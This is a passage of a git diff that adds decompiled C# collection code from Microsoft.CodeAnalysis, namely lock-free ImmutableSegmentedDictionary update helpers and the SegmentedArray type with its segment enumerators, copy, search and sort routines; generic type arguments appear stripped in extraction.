immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return val; + } + + public static TValue AddOrUpdate(ref ImmutableSegmentedDictionary location, TKey key, TValue addValue, Func updateValueFactory) where TKey : notnull + { + if (updateValueFactory == null) + { + throw new ArgumentNullException("updateValueFactory"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + TValue val; + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + val = (TValue)((!immutableSegmentedDictionary.TryGetValue(key, out var value)) ? ((object)addValue) : ((object)updateValueFactory(key, value))); + ImmutableSegmentedDictionary value2 = immutableSegmentedDictionary.SetItem(key, val); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return val; + } + + public static bool TryAdd(ref ImmutableSegmentedDictionary location, TKey key, TValue value) where TKey : notnull + { + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (immutableSegmentedDictionary.ContainsKey(key)) + { + return false; + } + ImmutableSegmentedDictionary value2 = immutableSegmentedDictionary.Add(key, value); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return true; + } + + public static bool TryUpdate(ref ImmutableSegmentedDictionary location, TKey key, TValue newValue, TValue comparisonValue) where TKey : notnull + { + EqualityComparer equalityComparer = EqualityComparer.Default; + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (!immutableSegmentedDictionary.TryGetValue(key, out var value) || !equalityComparer.Equals(value, comparisonValue)) + { + return false; + } + ImmutableSegmentedDictionary value2 = immutableSegmentedDictionary.SetItem(key, newValue); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return true; + } + + public static bool TryRemove(ref ImmutableSegmentedDictionary location, TKey key, [MaybeNullWhen(false)] out TValue value) where TKey : notnull + { + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (!immutableSegmentedDictionary.TryGetValue(key, out value)) + { + return false; + } + ImmutableSegmentedDictionary value2 = immutableSegmentedDictionary.Remove(key); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedArray.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedArray.cs new file mode 100644 index 0000000..a88b9f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedArray.cs @@ -0,0 +1,1165 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +internal static class SegmentedArray +{ + private readonly struct AlignedSegmentEnumerable + { + private readonly SegmentedArray _first; + + private readonly int _firstOffset; + + private readonly SegmentedArray _second; + + private readonly int _secondOffset; + + private readonly int _length; + + public AlignedSegmentEnumerable(SegmentedArray first, SegmentedArray second, int length) + : this(first, 0, second, 0, length) + { + } + + public AlignedSegmentEnumerable(SegmentedArray first, int firstOffset, SegmentedArray second, int secondOffset, int length) + { + _first = first; + _firstOffset = firstOffset; + _second = second; + _secondOffset = secondOffset; + _length = length; + } + + public AlignedSegmentEnumerator GetEnumerator() + { + return new AlignedSegmentEnumerator((T[][])_first.SyncRoot, _firstOffset, (T[][])_second.SyncRoot, _secondOffset, _length); + } + } + + private struct AlignedSegmentEnumerator(T[][] firstSegments, int firstOffset, T[][] secondSegments, int secondOffset, int length) + { + private readonly T[][] _firstSegments = firstSegments; + + private readonly int _firstOffset = firstOffset; + + private readonly T[][] _secondSegments = secondSegments; + + private readonly int _secondOffset = secondOffset; + + private readonly int _length = length; + + private int _completed = 0; + + private (Memory first, Memory second) _current = (first: Memory.Empty, second: Memory.Empty); + + public readonly (Memory first, Memory second) Current => _current; + + public bool MoveNext() + { + if (_completed == _length) + { + _current = (first: Memory.Empty, second: Memory.Empty); + return false; + } + if (_completed == 0) + { + int num = _firstOffset >> SegmentedArrayHelper.GetSegmentShift(); + int num2 = _secondOffset >> SegmentedArrayHelper.GetSegmentShift(); + int num3 = _firstOffset & SegmentedArrayHelper.GetOffsetMask(); + T[] array = _firstSegments[num]; + T[] array2 = _secondSegments[num2]; + int num4 = Math.Min(array.Length - num3, _length); + _current = (first: array.AsMemory().Slice(num3, num4), second: array2.AsMemory().Slice(num3, num4)); + _completed = num4; + return true; + } + T[] array3 = _firstSegments[_completed + _firstOffset >> SegmentedArrayHelper.GetSegmentShift()]; + T[] array4 = _secondSegments[_completed + _secondOffset >> SegmentedArrayHelper.GetSegmentShift()]; + int num5 = Math.Min(SegmentedArrayHelper.GetSegmentSize(), _length - _completed); + _current = (first: array3.AsMemory().Slice(0, num5), second: array4.AsMemory().Slice(0, num5)); + _completed += num5; + return true; + } + } + + private readonly struct UnalignedSegmentEnumerable + { + public readonly struct ReverseEnumerable(UnalignedSegmentEnumerable enumerable) + { + private readonly UnalignedSegmentEnumerable _enumerable = enumerable; + + public UnalignedSegmentEnumerator.Reverse GetEnumerator() + { + return new UnalignedSegmentEnumerator.Reverse((T[][])_enumerable._first.SyncRoot, _enumerable._firstOffset, (T[][])_enumerable._second.SyncRoot, _enumerable._secondOffset, _enumerable._length); + } + + public UnalignedSegmentEnumerable Reverse() + { + return _enumerable; + } + } + + private readonly SegmentedArray _first; + + private readonly int _firstOffset; + + private readonly SegmentedArray _second; + + private readonly int _secondOffset; + + private readonly int _length; + + public UnalignedSegmentEnumerable(SegmentedArray first, SegmentedArray second, int length) + : this(first, 0, second, 0, length) + { + } + + public UnalignedSegmentEnumerable(SegmentedArray first, int firstOffset, SegmentedArray second, int secondOffset, int length) + { + _first = first; + _firstOffset = firstOffset; + _second = second; + _secondOffset = secondOffset; + _length = length; + } + + public UnalignedSegmentEnumerator GetEnumerator() + { + return new UnalignedSegmentEnumerator((T[][])_first.SyncRoot, _firstOffset, (T[][])_second.SyncRoot, _secondOffset, _length); + } + + public ReverseEnumerable Reverse() + { + return new ReverseEnumerable(this); + } + } + + private struct UnalignedSegmentEnumerator(T[][] firstSegments, int firstOffset, T[][] secondSegments, int secondOffset, int length) + { + public struct Reverse(T[][] firstSegments, int firstOffset, T[][] secondSegments, int secondOffset, int length) + { + private readonly T[][] _firstSegments = firstSegments; + + private readonly int _firstOffset = firstOffset; + + private readonly T[][] _secondSegments = secondSegments; + + private readonly int _secondOffset = secondOffset; + + private readonly int _length = length; + + private int _completed = 0; + + private (Memory first, Memory second) _current = (first: Memory.Empty, second: Memory.Empty); + + public readonly (Memory first, Memory second) Current => _current; + + public bool MoveNext() + { + if (_completed == _length) + { + _current = (first: Memory.Empty, second: Memory.Empty); + return false; + } + int num = _firstOffset + _length - _completed - 1 >> SegmentedArrayHelper.GetSegmentShift(); + int num2 = _secondOffset + _length - _completed - 1 >> SegmentedArrayHelper.GetSegmentShift(); + int num3 = (_firstOffset + _length - _completed - 1) & SegmentedArrayHelper.GetOffsetMask(); + int num4 = (_secondOffset + _length - _completed - 1) & SegmentedArrayHelper.GetOffsetMask(); + T[] array = _firstSegments[num]; + T[] array2 = _secondSegments[num2]; + int val = num3 + 1; + int val2 = num4 + 1; + int num5 = Math.Min(Math.Min(val, val2), _length - _completed); + _current = (first: array.AsMemory().Slice(num3 - num5 + 1, num5), second: array2.AsMemory().Slice(num4 - num5 + 1, num5)); + _completed += num5; + return true; + } + } + + private readonly T[][] _firstSegments = firstSegments; + + private readonly int _firstOffset = firstOffset; + + private readonly T[][] _secondSegments = secondSegments; + + private readonly int _secondOffset = secondOffset; + + private readonly int _length = length; + + private int _completed = 0; + + private (Memory first, Memory second) _current = (first: Memory.Empty, second: Memory.Empty); + + public readonly (Memory first, Memory second) Current => _current; + + public bool MoveNext() + { + if (_completed == _length) + { + _current = (first: Memory.Empty, second: Memory.Empty); + return false; + } + int num = _completed + _firstOffset >> SegmentedArrayHelper.GetSegmentShift(); + int num2 = _completed + _secondOffset >> SegmentedArrayHelper.GetSegmentShift(); + int num3 = (_completed + _firstOffset) & SegmentedArrayHelper.GetOffsetMask(); + int num4 = (_completed + _secondOffset) & SegmentedArrayHelper.GetOffsetMask(); + T[] array = _firstSegments[num]; + T[] array2 = _secondSegments[num2]; + int val = array.Length - num3; + int val2 = array2.Length - num4; + int num5 = Math.Min(Math.Min(val, val2), _length - _completed); + _current = (first: array.AsMemory().Slice(num3, num5), second: array2.AsMemory().Slice(num4, num5)); + _completed += num5; + return true; + } + } + + private readonly struct SegmentEnumerable + { + public readonly struct ReverseEnumerable(SegmentEnumerable enumerable) + { + private readonly SegmentEnumerable _enumerable = enumerable; + + public SegmentEnumerator.Reverse GetEnumerator() + { + return new SegmentEnumerator.Reverse((T[][])_enumerable._array.SyncRoot, _enumerable._offset, _enumerable._length); + } + + public SegmentEnumerable Reverse() + { + return _enumerable; + } + } + + private readonly SegmentedArray _array; + + private readonly int _offset; + + private readonly int _length; + + public SegmentEnumerable(SegmentedArray array) + { + _array = array; + _offset = 0; + _length = array.Length; + } + + public SegmentEnumerable(SegmentedArray array, int offset, int length) + { + if (offset < 0 || length < 0 || (uint)(offset + length) > (uint)array.Length) + { + ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _array = array; + _offset = offset; + _length = length; + } + + public SegmentEnumerator GetEnumerator() + { + return new SegmentEnumerator((T[][])_array.SyncRoot, _offset, _length); + } + + public ReverseEnumerable Reverse() + { + return new ReverseEnumerable(this); + } + } + + private struct SegmentEnumerator(T[][] segments, int offset, int length) + { + public struct Reverse(T[][] segments, int offset, int length) + { + private readonly T[][] _segments = segments; + + private readonly int _offset = offset; + + private readonly int _length = length; + + private int _completed = 0; + + private Memory _current = Memory.Empty; + + public readonly Memory Current => _current; + + public bool MoveNext() + { + if (_completed == _length) + { + _current = Memory.Empty; + return false; + } + if (_completed == 0) + { + int num = _offset >> SegmentedArrayHelper.GetSegmentShift(); + int num2 = _offset & SegmentedArrayHelper.GetOffsetMask(); + T[] array = _segments[num]; + int val = array.Length - num2; + _current = array.AsMemory().Slice(num2, Math.Min(val, _length)); + _completed = _current.Length; + return true; + } + T[] array2 = _segments[_completed + _offset >> SegmentedArrayHelper.GetSegmentShift()]; + _current = array2.AsMemory().Slice(0, Math.Min(SegmentedArrayHelper.GetSegmentSize(), _length - _completed)); + _completed += _current.Length; + return true; + } + } + + private readonly T[][] _segments = segments; + + private readonly int _offset = offset; + + private readonly int _length = length; + + private int _completed = 0; + + private Memory _current = Memory.Empty; + + public readonly Memory Current => _current; + + public bool MoveNext() + { + if (_completed == _length) + { + _current = Memory.Empty; + return false; + } + if (_completed == 0) + { + int num = _offset >> SegmentedArrayHelper.GetSegmentShift(); + int num2 = _offset & SegmentedArrayHelper.GetOffsetMask(); + T[] array = _segments[num]; + int val = array.Length - num2; + _current = array.AsMemory().Slice(num2, Math.Min(val, _length)); + _completed = _current.Length; + return true; + } + T[] array2 = _segments[_completed + _offset >> SegmentedArrayHelper.GetSegmentShift()]; + _current = array2.AsMemory().Slice(0, Math.Min(SegmentedArrayHelper.GetSegmentSize(), _length - _completed)); + _completed += _current.Length; + return true; + } + } + + internal static void Clear(SegmentedArray array, int index, int length) + { + SegmentEnumerator enumerator = array.GetSegments(index, length).GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Span.Clear(); + } + } + + internal static void Copy(SegmentedArray sourceArray, SegmentedArray destinationArray, int length) + { + if (length != 0) + { + if (length < 0) + { + throw new ArgumentOutOfRangeException("length"); + } + if (length > sourceArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanSrcArray, "sourceArray"); + } + if (length > destinationArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanDestArray, "destinationArray"); + } + AlignedSegmentEnumerator enumerator = GetSegments(sourceArray, destinationArray, length).GetEnumerator(); + while (enumerator.MoveNext()) + { + var (memory, destination) = enumerator.Current; + memory.CopyTo(destination); + } + } + } + + public static void Copy(SegmentedArray sourceArray, Array destinationArray, int length) + { + if (destinationArray == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.destinationArray); + } + if (length == 0) + { + return; + } + if (length < 0) + { + throw new ArgumentOutOfRangeException("length"); + } + if (length > sourceArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanSrcArray, "sourceArray"); + } + if (length > destinationArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanDestArray, "destinationArray"); + } + int num = 0; + SegmentEnumerator enumerator = sourceArray.GetSegments(0, length).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!MemoryMarshal.TryGetArray((ReadOnlyMemory)enumerator.Current, out ArraySegment segment)) + { + throw new NotSupportedException(); + } + Array.Copy(segment.Array, segment.Offset, destinationArray, num, segment.Count); + num += segment.Count; + } + } + + public static void Copy(SegmentedArray sourceArray, int sourceIndex, SegmentedArray destinationArray, int destinationIndex, int length) + { + if (length < 0) + { + throw new ArgumentOutOfRangeException("length", SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (sourceIndex < 0) + { + throw new ArgumentOutOfRangeException("sourceIndex", SR.ArgumentOutOfRange_ArrayLB); + } + if (destinationIndex < 0) + { + throw new ArgumentOutOfRangeException("destinationIndex", SR.ArgumentOutOfRange_ArrayLB); + } + if ((uint)(sourceIndex + length) > sourceArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanSrcArray, "sourceArray"); + } + if ((uint)(destinationIndex + length) > destinationArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanDestArray, "destinationArray"); + } + if (length == 0) + { + return; + } + if (sourceArray.SyncRoot == destinationArray.SyncRoot && sourceIndex + length > destinationIndex) + { + CopyOverlapped(sourceArray, sourceIndex, destinationIndex, length); + return; + } + UnalignedSegmentEnumerator enumerator = GetSegmentsUnaligned(sourceArray, sourceIndex, destinationArray, destinationIndex, length).GetEnumerator(); + while (enumerator.MoveNext()) + { + var (memory, destination) = enumerator.Current; + memory.CopyTo(destination); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static void CopyOverlapped(SegmentedArray array, int sourceIndex, int destinationIndex, int length) + { + UnalignedSegmentEnumerable segmentsUnaligned = GetSegmentsUnaligned(array, sourceIndex, array, destinationIndex, length); + if (sourceIndex < destinationIndex) + { + UnalignedSegmentEnumerator.Reverse enumerator = segmentsUnaligned.Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + var (memory, destination) = enumerator.Current; + memory.CopyTo(destination); + } + } + else + { + UnalignedSegmentEnumerator enumerator2 = segmentsUnaligned.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (memory2, destination2) = enumerator2.Current; + memory2.CopyTo(destination2); + } + } + } + + public static void Copy(SegmentedArray sourceArray, int sourceIndex, Array destinationArray, int destinationIndex, int length) + { + if (destinationArray == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.destinationArray); + } + if (typeof(T[]) != destinationArray.GetType() && destinationArray.Rank != 1) + { + throw new RankException(SR.Rank_MustMatch); + } + if (length < 0) + { + throw new ArgumentOutOfRangeException("length", SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (sourceIndex < 0) + { + throw new ArgumentOutOfRangeException("sourceIndex", SR.ArgumentOutOfRange_ArrayLB); + } + int lowerBound = destinationArray.GetLowerBound(0); + if (destinationIndex < lowerBound || destinationIndex - lowerBound < 0) + { + throw new ArgumentOutOfRangeException("destinationIndex", SR.ArgumentOutOfRange_ArrayLB); + } + destinationIndex -= lowerBound; + if ((uint)(sourceIndex + length) > sourceArray.Length) + { + throw new ArgumentException(SR.Arg_LongerThanSrcArray, "sourceArray"); + } + if ((uint)(destinationIndex + length) > (nuint)destinationArray.LongLength) + { + throw new ArgumentException(SR.Arg_LongerThanDestArray, "destinationArray"); + } + int num = 0; + SegmentEnumerator enumerator = sourceArray.GetSegments(sourceIndex, length).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!MemoryMarshal.TryGetArray((ReadOnlyMemory)enumerator.Current, out ArraySegment segment)) + { + throw new NotSupportedException(); + } + Array.Copy(segment.Array, segment.Offset, destinationArray, destinationIndex + num, segment.Count); + num += segment.Count; + } + } + + public static int BinarySearch(SegmentedArray array, T value) + { + return BinarySearch(array, 0, array.Length, value, null); + } + + public static int BinarySearch(SegmentedArray array, T value, IComparer? comparer) + { + return BinarySearch(array, 0, array.Length, value, comparer); + } + + public static int BinarySearch(SegmentedArray array, int index, int length, T value) + { + return BinarySearch(array, index, length, value, null); + } + + public static int BinarySearch(SegmentedArray array, int index, int length, T value, IComparer? comparer) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (length < 0) + { + ThrowHelper.ThrowLengthArgumentOutOfRange_ArgumentOutOfRange_NeedNonNegNum(); + } + if (array.Length - index < length) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + return SegmentedArraySortHelper.BinarySearch(array, index, length, value, comparer); + } + + public static int IndexOf(SegmentedArray array, T value) + { + return IndexOf(array, value, 0, array.Length, null); + } + + public static int IndexOf(SegmentedArray array, T value, int startIndex) + { + return IndexOf(array, value, startIndex, array.Length - startIndex, null); + } + + public static int IndexOf(SegmentedArray array, T value, int startIndex, int count) + { + return IndexOf(array, value, startIndex, count, null); + } + + public static int IndexOf(SegmentedArray array, T value, int startIndex, int count, IEqualityComparer? comparer) + { + if ((uint)startIndex > (uint)array.Length) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + if ((uint)count > (uint)(array.Length - startIndex)) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + int num = startIndex; + SegmentEnumerator enumerator = array.GetSegments(startIndex, count).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!MemoryMarshal.TryGetArray((ReadOnlyMemory)enumerator.Current, out ArraySegment segment)) + { + throw new NotSupportedException(); + } + int num2; + if (comparer == null || comparer == EqualityComparer.Default) + { + num2 = Array.IndexOf(segment.Array, value, segment.Offset, segment.Count); + } + else + { + num2 = -1; + int num3 = segment.Offset + segment.Count; + for (int i = segment.Offset; i < num3; i++) + { + if (comparer.Equals(array[i], value)) + { + num2 = i; + break; + } + } + } + if (num2 >= 0) + { + return num2 + num - segment.Offset; + } + num += segment.Count; + } + return -1; + } + + public static int LastIndexOf(SegmentedArray array, T value) + { + return LastIndexOf(array, value, array.Length - 1, array.Length, null); + } + + public static int LastIndexOf(SegmentedArray array, T value, int startIndex) + { + return LastIndexOf(array, value, startIndex, (array.Length != 0) ? (startIndex + 1) : 0, null); + } + + public static int LastIndexOf(SegmentedArray array, T value, int startIndex, int count) + { + return LastIndexOf(array, value, startIndex, count, null); + } + + public static int LastIndexOf(SegmentedArray array, T value, int startIndex, int count, IEqualityComparer? comparer) + { + if (array.Length == 0) + { + if (startIndex != -1 && startIndex != 0) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + if (count != 0) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + return -1; + } + if ((uint)startIndex >= (uint)array.Length) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + if (count < 0 || startIndex - count + 1 < 0) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + if (comparer == null || comparer == EqualityComparer.Default) + { + int num = startIndex - count + 1; + for (int num2 = startIndex; num2 >= num; num2--) + { + if (EqualityComparer.Default.Equals(array[num2], value)) + { + return num2; + } + } + } + else + { + int num3 = startIndex - count + 1; + for (int num4 = startIndex; num4 >= num3; num4--) + { + if (comparer.Equals(array[num4], value)) + { + return num4; + } + } + } + return -1; + } + + public static void Reverse(SegmentedArray array) + { + Reverse(array, 0, array.Length); + } + + public static void Reverse(SegmentedArray array, int index, int length) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (length < 0) + { + ThrowHelper.ThrowLengthArgumentOutOfRange_ArgumentOutOfRange_NeedNonNegNum(); + } + if (array.Length - index < length) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + if (length > 1) + { + int num = index; + int num2 = index + length - 1; + do + { + T val = array[num]; + array[num] = array[num2]; + array[num2] = val; + num++; + num2--; + } + while (num < num2); + } + } + + public static void Sort(SegmentedArray array) + { + if (array.Length > 1) + { + SegmentedArraySortHelper.Sort(new SegmentedArraySegment(array, 0, array.Length), (IComparer?)null); + } + } + + public static void Sort(SegmentedArray array, int index, int length) + { + Sort(array, index, length, null); + } + + public static void Sort(SegmentedArray array, IComparer? comparer) + { + Sort(array, 0, array.Length, comparer); + } + + public static void Sort(SegmentedArray array, int index, int length, IComparer? comparer) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (length < 0) + { + ThrowHelper.ThrowLengthArgumentOutOfRange_ArgumentOutOfRange_NeedNonNegNum(); + } + if (array.Length - index < length) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + if (length > 1) + { + SegmentedArraySortHelper.Sort(new SegmentedArraySegment(array, index, length), comparer); + } + } + + public static void Sort(SegmentedArray array, Comparison comparison) + { + if (comparison == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.comparison); + } + if (array.Length > 1) + { + SegmentedArraySortHelper.Sort(new SegmentedArraySegment(array, 0, array.Length), comparison); + } + } + + private static SegmentEnumerable GetSegments(this SegmentedArray array, int offset, int length) + { + return new SegmentEnumerable(array, offset, length); + } + + private static AlignedSegmentEnumerable GetSegments(SegmentedArray first, SegmentedArray second, int length) + { + return new AlignedSegmentEnumerable(first, second, length); + } + + private static AlignedSegmentEnumerable GetSegmentsAligned(SegmentedArray first, int firstOffset, SegmentedArray second, int secondOffset, int length) + { + return new AlignedSegmentEnumerable(first, firstOffset, second, secondOffset, length); + } + + private static UnalignedSegmentEnumerable GetSegmentsUnaligned(SegmentedArray first, int firstOffset, SegmentedArray second, int secondOffset, int length) + { + return new UnalignedSegmentEnumerable(first, firstOffset, second, secondOffset, length); + } +} +internal readonly struct SegmentedArray : ICloneable, IList, ICollection, IEnumerable, IStructuralComparable, IStructuralEquatable, IList, ICollection, IEnumerable, IReadOnlyList, IReadOnlyCollection, IEquatable> +{ + public struct Enumerator(SegmentedArray array) : IEnumerator, IEnumerator, IDisposable + { + private readonly T[][] _items = array._items; + + private int _nextItemSegment = 0; + + private int _nextItemIndex = 0; + + private T _current = default(T); + + public readonly T Current => _current; + + readonly object? IEnumerator.Current => Current; + + public readonly void Dispose() + { + } + + public bool MoveNext() + { + if (_items.Length == 0) + { + return false; + } + if (_nextItemIndex == _items[_nextItemSegment].Length) + { + if (_nextItemSegment == _items.Length - 1) + { + return false; + } + _nextItemSegment++; + _nextItemIndex = 0; + } + _current = _items[_nextItemSegment][_nextItemIndex]; + _nextItemIndex++; + return true; + } + + public void Reset() + { + _nextItemSegment = 0; + _nextItemIndex = 0; + _current = default(T); + } + } + + internal readonly struct TestAccessor(SegmentedArray array) + { + private readonly SegmentedArray _array = array; + + public static int SegmentSize => SegmentedArray.SegmentSize; + + public T[][] Items => _array._items; + } + + private readonly int _length; + + private readonly T[][] _items; + + private static int SegmentSize => SegmentedArrayHelper.GetSegmentSize(); + + private static int SegmentShift => SegmentedArrayHelper.GetSegmentShift(); + + private static int OffsetMask => SegmentedArrayHelper.GetOffsetMask(); + + public bool IsFixedSize => true; + + public bool IsReadOnly => true; + + public bool IsSynchronized => false; + + public int Length => _length; + + public object SyncRoot => _items; + + public ref T this[int index] + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return ref _items[index >> SegmentShift][index & OffsetMask]; + } + } + + int ICollection.Count => Length; + + int ICollection.Count => Length; + + int IReadOnlyCollection.Count => Length; + + T IReadOnlyList.this[int index] => this[index]; + + T IList.this[int index] + { + get + { + return this[index]; + } + set + { + this[index] = value; + } + } + + object? IList.this[int index] + { + get + { + return this[index]; + } + set + { + this[index] = (T)value; + } + } + + public SegmentedArray(int length) + { + if (length < 0) + { + throw new ArgumentOutOfRangeException("length"); + } + if (length == 0) + { + _items = Array.Empty(); + _length = 0; + return; + } + _items = new T[length + SegmentSize - 1 >> SegmentShift][]; + for (int i = 0; i < _items.Length - 1; i++) + { + _items[i] = new T[SegmentSize]; + } + int num = length - (_items.Length - 1 << SegmentShift); + _items[_items.Length - 1] = new T[num]; + _length = length; + } + + private SegmentedArray(int length, T[][] items) + { + _length = length; + _items = items; + } + + public object Clone() + { + T[][] array = (T[][])_items.Clone(); + for (int i = 0; i < array.Length; i++) + { + array[i] = (T[])array[i].Clone(); + } + return new SegmentedArray(Length, array); + } + + public void CopyTo(Array array, int index) + { + for (int i = 0; i < _items.Length; i++) + { + _items[i].CopyTo(array, index + i * SegmentSize); + } + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + for (int i = 0; i < _items.Length; i++) + { + ((ICollection)_items[i]).CopyTo(array, arrayIndex + i * SegmentSize); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public override bool Equals(object? obj) + { + if (obj is SegmentedArray other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return _items.GetHashCode(); + } + + public bool Equals(SegmentedArray other) + { + return _items == other._items; + } + + int IList.Add(object? value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void ICollection.Add(T value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void IList.Clear() + { + T[][] items = _items; + for (int i = 0; i < items.Length; i++) + { + ((IList)items[i]).Clear(); + } + } + + void ICollection.Clear() + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + bool IList.Contains(object? value) + { + T[][] items = _items; + for (int i = 0; i < items.Length; i++) + { + if (((IList)items[i]).Contains(value)) + { + return true; + } + } + return false; + } + + bool ICollection.Contains(T value) + { + T[][] items = _items; + for (int i = 0; i < items.Length; i++) + { + if (((ICollection)items[i]).Contains(value)) + { + return true; + } + } + return false; + } + + int IList.IndexOf(object? value) + { + for (int i = 0; i < _items.Length; i++) + { + int num = ((IList)_items[i]).IndexOf(value); + if (num >= 0) + { + return num + i * SegmentSize; + } + } + return -1; + } + + int IList.IndexOf(T value) + { + for (int i = 0; i < _items.Length; i++) + { + int num = ((IList)_items[i]).IndexOf(value); + if (num >= 0) + { + return num + i * SegmentSize; + } + } + return -1; + } + + void IList.Insert(int index, object? value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void IList.Insert(int index, T value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void IList.Remove(object? value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + bool ICollection.Remove(T value) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(SR.NotSupported_FixedSizeCollection); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + int IStructuralComparable.CompareTo(object? other, IComparer comparer) + { + if (other == null) + { + return 1; + } + if (!(other is SegmentedArray segmentedArray) || Length != segmentedArray.Length) + { + throw new ArgumentException(SR.ArgumentException_OtherNotArrayOfCorrectLength, "other"); + } + for (int i = 0; i < Length; i++) + { + int num = comparer.Compare(this[i], segmentedArray[i]); + if (num != 0) + { + return num; + } + } + return 0; + } + + bool IStructuralEquatable.Equals(object? other, IEqualityComparer comparer) + { + if (other == null) + { + return false; + } + if (!(other is SegmentedArray segmentedArray)) + { + return false; + } + if (_items == segmentedArray._items) + { + return true; + } + if (Length != segmentedArray.Length) + { + return false; + } + for (int i = 0; i < Length; i++) + { + if (!comparer.Equals(this[i], segmentedArray[i])) + { + return false; + } + } + return true; + } + + int IStructuralEquatable.GetHashCode(IEqualityComparer comparer) + { + if (comparer == null) + { + throw new ArgumentNullException("comparer"); + } + int num = 0; + for (int i = ((Length >= 8) ? (Length - 8) : 0); i < Length; i++) + { + num = num * -1521134295 + comparer.GetHashCode(this[i]); + } + return num; + } + 